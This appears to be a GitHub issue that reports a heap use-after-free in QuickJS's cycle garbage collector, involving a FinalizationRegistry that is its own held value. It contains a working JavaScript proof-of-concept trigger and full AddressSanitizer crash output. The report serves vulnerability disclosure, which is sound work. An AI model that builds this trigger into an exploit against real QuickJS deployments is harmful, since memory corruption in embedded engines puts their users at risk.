-
Notifications
You must be signed in to change notification settings - Fork 248
Description
Overview
The vulnerability occurs during the garbage collection cycle removal phase (gc_free_cycles) when a FinalizationRegistry object is part of a reference cycle and is also registered as a held value.
When gc_free_cycles frees objects in a cycle, it iterates through them and calls free_gc_object. If a target object in the cycle is freed, it triggers reset_weak_ref. If this target has a FinalizationRegistry entry, reset_weak_ref enqueues a cleanup job (js_finrec_job) and increments the reference count of the "held value" (which is the FinalizationRegistry object itself in this PoC) via JS_EnqueueJob.
Consequently, when free_gc_object is subsequently called on the FinalizationRegistry object (which is also part of the cycle), it detects the non-zero reference count (caused by the job) and moves the object to the gc_zero_ref_count_list instead of freeing it immediately, but crucially, it still strips the object of its properties and shape.
However, at the end of gc_free_cycles, the function unconditionally iterates over gc_zero_ref_count_list and calls js_free_rt on all items, freeing the memory of the FinalizationRegistry object despite the pending reference from the job queue. When the enqueued job eventually runs, it attempts to access the now-freed FinalizationRegistry object, resulting in a heap-use-after-free.
PoC
const {log} = console;
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
var roots = new Array(0x30000);
var index = 0;
function add_ref(obj) {
roots[index++] = obj;
}
function minor_gc() {
for (let i = 0; i < 8; i++) {
add_ref(new ArrayBuffer(0x200000));
}
add_ref(new ArrayBuffer(8));
}
// Callback that will access the freed object
function unused_callback(heldValue) {
print("Callback Executed!");
try {
// heldValue should be the 'fr' object which is freed.
// Accessing a property should crash or read garbage.
print("Held Value Type: " + typeof heldValue);
print("Accessing property on heldValue...");
// accessing property on freed object
// This should trigger UAF
print("heldValue.id_check: " + heldValue.id_check);
} catch (e) {
print("Error in callback: " + e);
}
}
// Creating objects
// We want target to be processed (freed) BEFORE fr.
let target = { name: "target object" };
let fr = new FinalizationRegistry(unused_callback);
fr.id_check = 12345;
// Cycle setup
// fr holds target strongly
fr.strongRef = target;
// target holds fr strongly
target.strongRef = fr;
// Register weak ref:
// target is the object being watched.
// fr is the held value.
// When target dies, we get fr.
fr.register(target, fr);
// Clear roots
target = null;
fr = null;
// Trigger GC
print("Triggering GC...");
minor_gc();
print("GC Completed.");ASAN output
Triggering GC...
GC Completed.
=================================================================
==172586==ERROR: AddressSanitizer: heap-use-after-free on address 0x507000006530 at pc 0x563a5365763d bp 0x7ffd6b089520 sp 0x7ffd6b089510
READ of size 4 at 0x507000006530 thread T0
#0 0x563a5365763c in JS_CallInternal (/home/or4nge/quickjs/qjs+0x8e63c)
#1 0x563a536588cd in js_finrec_job (/home/or4nge/quickjs/qjs+0x8f8cd)
#2 0x563a536763fe in JS_ExecutePendingJob (/home/or4nge/quickjs/qjs+0xad3fe)
#3 0x563a53615eb2 in js_std_loop (/home/or4nge/quickjs/qjs+0x4ceb2)
#4 0x563a535fdbb7 in main (/home/or4nge/quickjs/qjs+0x34bb7)
#5 0x74ce80429d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#6 0x74ce80429e3f in __libc_start_main_impl ../csu/libc-start.c:392
#7 0x563a535fe914 in _start (/home/or4nge/quickjs/qjs+0x35914)
0x507000006530 is located 0 bytes inside of 72-byte region [0x507000006530,0x507000006578)
freed by thread T0 here:
#0 0x74ce808b4537 in __interceptor_free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:127
#1 0x563a53681e52 in JS_RunGC (/home/or4nge/quickjs/qjs+0xb8e52)
#2 0x563a536a42b2 in JS_NewObjectProtoClass (/home/or4nge/quickjs/qjs+0xdb2b2)
#3 0x563a53704539 in js_create_from_ctor (/home/or4nge/quickjs/qjs+0x13b539)
#4 0x563a53822009 in js_array_buffer_constructor (/home/or4nge/quickjs/qjs+0x259009)
#5 0x563a5375fdb3 in js_call_c_function (/home/or4nge/quickjs/qjs+0x196db3)
#6 0x563a53794c82 in JS_CallConstructorInternal (/home/or4nge/quickjs/qjs+0x1cbc82)
#7 0x563a53649186 in JS_CallInternal (/home/or4nge/quickjs/qjs+0x80186)
#8 0x563a53638223 in JS_CallInternal (/home/or4nge/quickjs/qjs+0x6f223)
#9 0x563a537b553b in js_async_function_resume (/home/or4nge/quickjs/qjs+0x1ec53b)
#10 0x563a537b9430 in js_async_function_call (/home/or4nge/quickjs/qjs+0x1f0430)
#11 0x563a537b973a in js_execute_sync_module (/home/or4nge/quickjs/qjs+0x1f073a)
#12 0x563a537bb726 in js_inner_module_evaluation (/home/or4nge/quickjs/qjs+0x1f2726)
#13 0x563a537f1caf in JS_EvalFunction (/home/or4nge/quickjs/qjs+0x228caf)
#14 0x563a535fe015 in main (/home/or4nge/quickjs/qjs+0x35015)
#15 0x74ce80429d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
previously allocated by thread T0 here:
#0 0x74ce808b4887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
#1 0x563a5365ed26 in js_malloc (/home/or4nge/quickjs/qjs+0x95d26)
#2 0x563a536a3f3d in JS_NewObjectProtoClass (/home/or4nge/quickjs/qjs+0xdaf3d)
#3 0x563a53704539 in js_create_from_ctor (/home/or4nge/quickjs/qjs+0x13b539)
#4 0x563a537aff60 in js_finrec_constructor (/home/or4nge/quickjs/qjs+0x1e6f60)
#5 0x563a5375fdb3 in js_call_c_function (/home/or4nge/quickjs/qjs+0x196db3)
#6 0x563a53794c82 in JS_CallConstructorInternal (/home/or4nge/quickjs/qjs+0x1cbc82)
#7 0x563a53649186 in JS_CallInternal (/home/or4nge/quickjs/qjs+0x80186)
#8 0x563a537b553b in js_async_function_resume (/home/or4nge/quickjs/qjs+0x1ec53b)
#9 0x563a537b9430 in js_async_function_call (/home/or4nge/quickjs/qjs+0x1f0430)
#10 0x563a537b973a in js_execute_sync_module (/home/or4nge/quickjs/qjs+0x1f073a)
#11 0x563a537bb726 in js_inner_module_evaluation (/home/or4nge/quickjs/qjs+0x1f2726)
#12 0x563a537f1caf in JS_EvalFunction (/home/or4nge/quickjs/qjs+0x228caf)
#13 0x563a535fe015 in main (/home/or4nge/quickjs/qjs+0x35015)
#14 0x74ce80429d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
SUMMARY: AddressSanitizer: heap-use-after-free (/home/or4nge/quickjs/qjs+0x8e63c) in JS_CallInternal
Shadow bytes around the buggy address:
0x0a0e7fff8c50: fa fa fd fd fd fd fd fd fd fd fd fa fa fa fa fa
0x0a0e7fff8c60: fd fd fd fd fd fd fd fd fd fa fa fa fa fa 00 00
0x0a0e7fff8c70: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
0x0a0e7fff8c80: 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 00 00
0x0a0e7fff8c90: 00 00 00 fa fa fa fa fa fd fd fd fd fd fd fd fd
=>0x0a0e7fff8ca0: fd fa fa fa fa fa[fd]fd fd fd fd fd fd fd fd fa
0x0a0e7fff8cb0: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
0x0a0e7fff8cc0: fa fa fd fd fd fd fd fd fd fd fd fd fa fa fa fa
0x0a0e7fff8cd0: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 00
0x0a0e7fff8ce0: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00
0x0a0e7fff8cf0: 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==172586==ABORTING
Reporter credit: Qanux